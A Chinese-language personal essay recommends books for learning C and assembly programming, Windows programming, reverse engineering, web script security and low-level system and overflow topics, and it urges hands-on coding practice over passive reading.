此处 程序语言主要以C、ASM为主,毕竟自己主要也只是学这两门语言,其它脚本语言,如PHP、ASP就不提了。关于C语言的书籍就有传说中的 “C语言四大名著”,即《C程序设计语言》、《C和指针》、《C陷阱与缺陷》、《C专家编程》,感觉在C编程上这几本书就够用了,至于数据结构和算法可参 考其它国外名著。国产的编程书籍没几本可出手的,关于C入门书籍,很多人会推荐谭浩强那书,最初我也是读这本书入门的,但后来慢慢地发觉那书不是很好,错 误不少,编程风格也不好。对于那些写着精通XXX、24小时XXX、30天XXX、XXX从入门到精通,这些书都是拿书名来忽悠人的,纯粹是作者用来骗稿 费的,对比一下那些国外名著的书名就知道了,一本好书一般是不会用那些土名字的。我很赞成SAI兄弟说的,半年之内不接触的技术,就不用去买这方面的书籍 了。关于ASM主要就《80x86汇编语言程序设计》、《windows环境下的32位汇编程序设 计》这两本,汇编语言的书籍相对会少一点,一些网上书店的程序设计一栏中甚至没有asm一类。很多编程书籍的内容写的都是千篇一律,比如C语言书籍, 不外乎都是些变量、数组、指针这些,但是某些书籍中就会有提到编程风格、内存优化、树、链表、折半搜索法,GDB调试,linux方面的知识,比如《c primer plus》《C和指针》,这些也算是书本的一个亮点。关于windows编程,首推《windows程序设计》上下册、《windows核心编程》,其它 的感觉也没必要看太多,还是以实践为主。编程书籍由于附有很多代码,在电脑上看电子版的感觉很伤眼,容易眼疲劳,因此有必要的话,可以买实体书来看,而且 在实际应用中,有时可以再拿出来参考参考,方便查阅。与此同时,也要奉劝大家“纸上得来终觉浅,绝知此事要躬行”,特别是对于编程学习者,一定要动手写代 码,光看书是没用,这也是我曾经犯过的错误!而且有些书是用来参考查阅,不是用来看的,不然即使你把那些牛书都看完 ,到最后也可能连几句代码也写不出来,最后受伤的永远是你自己!

逆向工程篇

关于逆向工程这方面的书籍,自然是首 推看雪出版的《加密与解密》,在这方面,看雪的实力不会比国外的差,那里是逆向学习交流的好场所。在加解密第3版出版的时候就曾出现过山寨版的,因此大家 在购买时得看清楚了,最好到正规的书店购买,目前可能网上买不到了,不过网上有电子版。另外这方面的书籍还有《黑客反汇编揭密》《黑客调试技术揭密》 《逆向工程揭密》,国内出版的《软件调试》也是本牛书,弥补了国内这方面的空缺。还有出版的《IDA权威指南》也是本不错的书籍,详细讲解了IDA的 方方面面,看了之后,你会发现,会用IDA与不会用的差别有多大了。看雪翻译小组也曾出版过一本《IDA Pro代码破解揭秘》,不过这书我也没看过。在逆向工程这方面的书籍也差不多就这么几本了,其它像加解密入门实战,加密与解密实战超级手册,加解密全攻 略……这些基本上都可以摒弃,基本都是抄看雪加解密一书上的东西,大家无须花金钱、时间和精力在此上面。关于获取最新书讯的方法,大家可以订阅互动出版网 计算机新书的RSS,只要有计算机新书出来立马就知道了,它上面经常更新,不过很也是应用技术书籍,对于这些书籍,很多是 没必要买的,比如什么 windows 7使用大全,精通注册表,windows操作XXX,有必要的话,直接百度、google就行了,没必要花钱去买这类书籍。

脚本安全篇

在 脚本攻防方面的书籍,最早的曾云好写的《精通黑客脚本》,这书写得相当全面,由浅入深,虽然不厚,但排版密集,内容还是很多的,只是纸质不太好,很 粗糙,里面有很多渗透实战案例,当年国内这方面的法律还不是很严格,若是放在今天,可能里面一些内容会被删除掉。另外大家也可看看老外的 《黑客攻防技术宝典:WEB实战篇》(重点推荐)《xss attack》《sql injection》(中译本:《SQL注入攻击与防御》),以及《WEB安全测试》,英文版的网上有电子书。近两年国内出版的,主要就《白帽子讲WEB 安全》、《WEB前端黑客技术》,推荐一阅。

系统底层篇

当年看的第一本系统原理书籍是《深入理解计算机系统》,很不错的一本书。其它此类书籍还有《深入解析windows操作系统》《widnows系统原理与 实现》等,国内之前还出了本 《windows操作系统原理》,上面还写着重点大学计算机教材,后面看了乱雪博客上一篇文章后才知道那书是抄袭的,还被原作者控告了,最后还赔偿 了,当年我还从头看完了。关于溢出攻击的书籍,国内主要有《网络渗透技术》、《0day安全:软件漏洞分析技术》《灰帽黑客》,虽然 网渗一书很早出版,其中有些已经过时,但是其思想是不会过时的。若想获取最新书籍,最好的方法还是上面说的:订阅RSS。对于一些不熟悉的技术书籍,一定 要先看完整目录,然后找找网上是否有电子版的,如果有就先看看再决定是否再买,另外如果你已经买或看过同类的经典书籍,就需要重新考虑是否真的有必要买 了。讲了那么多要花钱的书,下面讲讲免费的一套,那就《intel开发手册》,这一套是由因特尔公司免费向全球赠送的书籍,共五本,之前我还订了两套,全 都从美国寄到学校来了,原本以为第一封邮件没收到,就再发了一封,没想到Intel居然连送两套过来,真是大方的不行啊!现在他们已经不再寄送纸质书,仅 寄送包含电子版的光盘。’